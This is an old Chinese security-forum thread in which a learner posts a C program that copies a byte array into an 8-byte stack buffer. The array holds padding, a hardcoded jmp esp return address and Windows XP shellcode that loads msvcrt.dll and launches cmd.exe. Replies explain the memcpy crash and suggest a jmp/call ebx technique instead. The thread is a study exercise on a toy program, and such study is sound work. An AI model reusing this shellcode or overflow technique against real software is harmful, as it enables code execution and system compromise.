首页
社区
课程
招聘
[求助]请教一个memcpy的问题
2008-11-2 21:40 3960

[求助]请教一个memcpy的问题

2008-11-2 21:40
3960
写一个溢出的程序memcpy的时候提示出错误,说是地址不可访问,如果元数据小一点就没有关系了,系统是xp下,怎么才能解决呢?
代码如下。
#include<stdio.h>
#include<string.h>
char name[]={
        "\x41\x41\x41\x41"
        "\x41\x41\x41\x41"
        "\x41\x41\x41\x41"
        "\x12\x45\xFA\x7F"
        "\x55\x8b\xec\x83\xec\x40\x53"
        "\x56\x57\x8D\x7D\xC0\xb9\x10\x00\x00\x00"
        "\xb8\xcc\xcc\xcc\xcc\xf3\xab"
        "\x8b\xe5\x55\x8b\xec"
        "\x33\xc0\x50\x50\x50"
        "\xc6\x45\xf4\x6d\xc6\x45\xf5\x73\xc6\x45\xf6\x76"
        "\xc6\x45\xf7\x63\xc6\x45\xf8\x72\xc6\x45\xf9\x74"
        "\xc6\x45\xfa\x2e\xc6\x45\xfb\x64\xc6\x45\xfc\x6c"
        "\xc6\x45\xfc\x6c"
        "\x8D\x45\xF4"
        "\x50\xb8\x77\x1d\x80\x7c"
        "\xff\xd0\x8b\xe5\x55"
        "\x8b\xec\x33\xff"
        "\x57\x83\xec\x04"
        "\xC6\x45\xF8\x63"
        "\xC6\x45\xF9\x6d"
        "\xC6\x45\xFa\x64"
        "\xC6\x45\xFb\x2e"
        "\xC6\x45\xFc\x65"
        "\xC6\x45\xFd\x78"
        "\xC6\x45\xFe\x65"
        "\x8d\x45\xF8\x50"
        "\xB8\xC7\x93\xbf\x77"
        "\xff\xd0\x33\xc0"
};
int main()
{
        char out[8];
        memcpy(out,name,sizeof(name));
        for(int i=0 ; i<8 && out[i] ; ++i)
        {
                printf("\\0x%x",out[i]);
        }
        return 0;
}

[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

收藏
点赞0
打赏
分享
最新回复 (6)
雪    币: 7300
活跃值: (3758)
能力值: (RANK:1130 )
在线值:
发帖
回帖
粉丝
海风月影 22 2008-11-2 21:47
2
0
int main()
{
  char *out;
  memcpy(out,name,sizeof(name));
  for(int i=0 ; i<1 && out[i] ; ++i)
  {
    printf("\\0x%x",out[i]);
  }
   return 0;
}
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
luxiaojia 2008-11-2 21:53
3
0
[QUOTE=海风月影;529606]int main()
{
  char *out;
  memcpy(out,name,sizeof(name));
  for(int i=0 ; i<1 && out[i] ; ++i)
  {
    printf("\\0x%x",out[i]);
...[/QUOTE]

不好意思,刚才发错了,out不是1,是8,那怎么办?
谢谢你的回答。
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
luxiaojia 2008-11-2 21:56
4
0
我测试一下了char out[8]
char * out = new char[8];
就ok
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
luxiaojia 2008-11-2 21:56
5
0
但是说明我这个注入失败啦。
雪    币: 230
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
oldlamp 2008-11-3 20:56
6
0
因为堆栈里out[8]以后的部分某些是不可写的,而那么如果足够长的话,恰巧到达了这一部分,导致内存访问错误。可以把利用方式稍微修改一下。使用jmp(call)  ebx的方式,而不是jmp esp。
这在很多教程里都有。要自己跟一下最好。
没仔细看,不知说得对不对。
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
luxiaojia 2008-11-4 09:05
7
0
[QUOTE=oldlamp;530067]因为堆栈里out[8]以后的部分某些是不可写的,而那么如果足够长的话,恰巧到达了这一部分,导致内存访问错误。可以把利用方式稍微修改一下。使用jmp(call)  ebx的方式,而不是jmp esp。
这在很多教程里都有。要自己跟一下最好。
没仔细看,不知说得对不对。[/QUOTE]

很感谢你的回答。
确实因为向下复制的时候,出现有一个地方数据不允许被覆盖所以出现了错误,本来看书看到这个jmp esp方式,弄个例程想试验一下结果失败了,所以问问和何解,看来学过就好了,继续学习其他的吧。
游客
登录 | 注册 方可回帖
返回